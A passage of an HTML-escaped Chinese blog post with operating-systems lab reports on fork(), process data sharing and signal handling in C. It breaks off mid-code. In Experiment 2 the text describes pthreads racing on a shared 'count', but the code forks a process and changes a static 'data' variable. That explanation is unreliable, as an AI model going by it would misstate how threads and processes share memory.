\u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Failed to create child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp=fopen(\u003cspan class=\"string\"\u003e\u0026#34;./test.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Write finished in child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process wait completed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523162739.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,程序的执行顺序确实是先子进程再父进程。输出的文件内容也正确。\u003c/p\u003e\u003ch3 id=\"五、实验心得\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下\u003ccode\u003efork()\u003c/code\u003e系统调用的用法,知道了如何创建一个新的进程,也知道了\u003ccode\u003efork()\u003c/code\u003e的返回值的含义,能编写一个单文件的多进程程序。\u003c/p\u003e\u003ch2 id=\"实验2:线程共享进程数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C2%EF%BC%9A%E7%BA%BF%E7%A8%8B%E5%85%B1%E4%BA%AB%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"实验2:线程共享进程数据\"\u003e\u003c/a\u003e实验2:线程共享进程数据\u003c/h2\u003e\u003ch3 id=\"一、实验目标-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-1\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建多个线程,并让它们共享进程数据\u003c/li\u003e\u003cli\u003e理解线程之间的数据竞争和同步问题\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-1\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003epthread.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ecount\u003c/code\u003e作为共享数据,并初始化为0。随后在主程序中创建两个线程,并传入一个函数指针作为线程执行的任务。\u003c/p\u003e\u003cp\u003e该函数指针指向一个自定义的函数\u003ccode\u003ethread_func\u003c/code\u003e,该函数接受一个整型参数\u003ccode\u003eid\u003c/code\u003e作为线程标识,并在函数内部对全局变量\u003ccode\u003ecount\u003c/code\u003e进行加一操作,并打印出当前线程的标识和\u003ccode\u003ecount\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e在主程序中,使用\u003ccode\u003epthread_join\u003c/code\u003e等待两个线程执行完毕后再退出。\u003c/p\u003e\u003ch3 id=\"三、实验代码-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-1\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Fork failed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data+=\u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] sub process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-1\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523164141.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,两个线程都能访问和修改全局变量\u003ccode\u003ecount\u003c/code\u003e,但是由于没有同步机制,导致输出结果不确定,有时候会出现两个线程同时输出相同的值。\u003c/p\u003e\u003ch3 id=\"五、实验心得-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-1\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下创建多线程的方法,知道了如何使用全局变量作为进程数据,在线程之间进行数据共享。同时,我也意识到了线程之间存在数据竞争的问题,需要使用同步机制来保证数据的一致性和正确性。\u003c/p\u003e\u003ch2 id=\"实验3:信号通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C3%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验3:信号通信\"\u003e\u003c/a\u003e实验3:信号通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-2\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号通信的原理和用法\u003c/li\u003e\u003cli\u003e使用信号通信实现父子进程之间的简单交互\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esignal.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用\u003ccode\u003esleep()\u003c/code\u003e函数延迟一段时间后,使用\u003ccode\u003ekill()\u003c/code\u003e函数向父进程发送一个信号(如SIGUSR1)。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程定义一个信号处理函数\u003ccode\u003esighandler()\u003c/code\u003e,并使用\u003ccode\u003esignal()\u003c/code\u003e函数将该函数绑定到子进程发送的信号上。在信号处理函数中,打印出收到信号的信息,并使用\u003ccode\u003eexit()\u003c/code\u003e函数终止父进程。\u003c/p\u003e\u003ch3 id=\"三、实验代码-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-2\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esigchld_handler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGCHLD){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u0026amp;pid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(WIFEXITED(pid)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGCHLD-\u0026gt;%d\\n\u0026#34;\u003c/span\u003e, WEXITSTATUS(pid));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(sig==SIGINT){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SIGINT\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title 